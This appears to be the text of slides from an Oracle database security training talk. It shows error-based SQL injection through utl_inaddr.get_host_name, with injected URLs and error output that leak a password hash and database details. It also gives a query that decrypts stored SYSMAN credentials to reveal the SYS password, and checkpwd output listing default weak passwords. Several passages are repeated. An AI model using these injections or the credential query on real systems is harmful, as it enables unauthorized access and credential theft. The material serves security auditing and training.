ORA-06512: at "SYS.UTL_INADDR", line 35

ORA-06512: at line 1

Whenever Oracle expect a string it's always possible to pass a query instead:

Whenever Oracle expect a string it's always possible to pass a query instead:

```
SQL> select utl_inaddr.get_host_name( select
username||'='||password
from dba_users where rownum=1) from dual;
```

Whenever Oracle expect a string it's always possible to pass a query instead:

```
SQL> select utl_inaddr.get_host_name( select
username||'='||password
from dba_users where rownum=1) from dual;
```

```
select utl_inaddr.get_host_name((select username||'='||  
password from dba_users where rownum=1)) from dual  
*
```

ERROR at line 1:

ORA-29257: host **SYSTEM=D4DF7931AB130E37** unknown

ORA-06512: at "SYS.UTL_INADDR", line 4

ORA-06512: at "SYS.UTL_INADDR", line 35

ORA-06512: at line 1

http://myserver.com/prelex/detail_dossier_real.cfm?
CL=en&DosId=124131||utl_inaddr.get_host_name((select
%20global_name%20from%20global_name))

http://myserver.com/prelex/detail_dossier_real.cfm?
CL=en&DosId=124131||utl_inaddr.get_host_name((select
%20global_name%20from%20global_name))

Message: Error Executing Database Query.

Native error code: 29257

SQL state: HY000

Detail: [Macromedia][Oracle JDBC Driver][Oracle]
ORA-29257: host **EXTUCOMA.myserver.com** unknown
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1

http://myserver.com/prelex/detail_dossier_real.cfm?
CL=en&DosId=124131||utl_inaddr.get_host_name((select
%20count(*)%20from%20all_users))

http://myserver.com/prelex/detail_dossier_real.cfm?
CL=en&DosId=124131||utl_inaddr.get_host_name((select
%20count(*)%20from%20all_users))

Message: Error Executing Database Query.

Native error code: 29257

SQL state: HY000

Detail: [Macromedia][Oracle JDBC Driver][Oracle]

ORA-29257: host **37** unknown

ORA-06512: at "SYS.UTL_INADDR", line 35

ORA-06512: at "SYS.UTL_INADDR", line 35

ORA-06512: at line 1

Get the SYS password in cleartext (10g)

Oracle Gridcontrol and Database control are storing passwords in encrypted and not hashed in a special table.

Using the following select statement reveals the password in clear text. In many organizations the same password is used for many/all databases.

```
select credential_set_column, sysman.decrypt  
(credential_value) from SYSMAN.MGMT_CREDENTIALS2;
```

Check for weak passwords

The next step is to check the database for weak passwords with checkpwd. To do this it is necessary to have access to the view dba_users.

Normally only DBAs have access to this system.

```
checkpwd <user>/<password>@//<ipaddress>/<SID>  
default_passwords.txt
```

checkpwd is not a hackertool because you need already a DBA account to run checkpwd.

Check for weak passwords

Shell - Checkpwd

```
BT oracle # checkpwd system/alexoral@//192.168.2.232/ora9201 default_passwords.txt
Checkpwd 1.12 - (c) 2006 by Red-Database-Security GmbH
Oracle Security Consulting, Security Audits & Security Trainings
http://www.red-database-security.com

initializing Oracle client library
connecting to the database
retrieving users and password hash values
opening weak password list file
reading weak passwords list
checking passwords
SYS      OK [OPEN]
SYSTEM   OK [OPEN]
DBSNMP  has weak password DBSNMP [OPEN]
SCOTT    has weak password TIGER [OPEN]
CTXSYS   has weak password CTXSYS [OPEN]
PLSQL    OK [OPEN]
OUTLN   has weak password OUTLN [EXPIRED & LOCKED]
XDB      has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
WKSYS   has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
ODM      has weak password ODM [EXPIRED & LOCKED]
OLAPSYS  has weak password MANAGER [EXPIRED & LOCKED]
QS_ES   has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
QS_WS   has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
QS      has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
QS_ADMIN has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
SH      has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
PM      has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
OE      has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
HR      has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
RMAN   has weak password RMAN [EXPIRED & LOCKED]
QS_CS   has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
QS_CB   has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
QS_CBADM has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
QS_OS   has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
ODM_MTR has weak password MTRPW [EXPIRED & LOCKED]
WKPROXY has weak password CHANGE_ON_INSTALL [EXPIRED & LOCKED]
ANONYMOUS      OK [EXPIRED & LOCKED]
WMSYS   has weak password WMSYS [EXPIRED & LOCKED]
ORDSYS  has weak password ORDSYS [EXPIRED & LOCKED]
ORDPLUGINS has weak password ORDPLUGINS [EXPIRED & LOCKED]
MDSYS   has weak password MDSYS [EXPIRED & LOCKED]

Done. Summary:
Passwords checked      : 5696
Weak passwords found   : 27
Elapsed time (min:sec) : 0:1
Passwords / second     : 5696
```

Check for weak passwords

After running checkpwd in your company (only if you have the explicit permission to do this) your DBA should change the weak Oracle passwords as soon as possible.

But keep in mind that changing passwords on the database server only normally breaks applications (e.g. Application server) if you do not change the passwords on the AppServer too.

Q & A

Backtrack 2 (contains Instant client, tnscmd10g, checkpwd):

<http://www.remote-exploit.org/backtrack.html>

Oracle Instant Client

<http://www.oracle.com/technology/software/tech/oci/instantclient/index.html>

Oracle Assessment Kit

<http://www.databasesecurity.com/dbsec/OAK.zip>

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Fax: +49 - 6821 - 91 27 354

E-Mail: training@red-database-security.com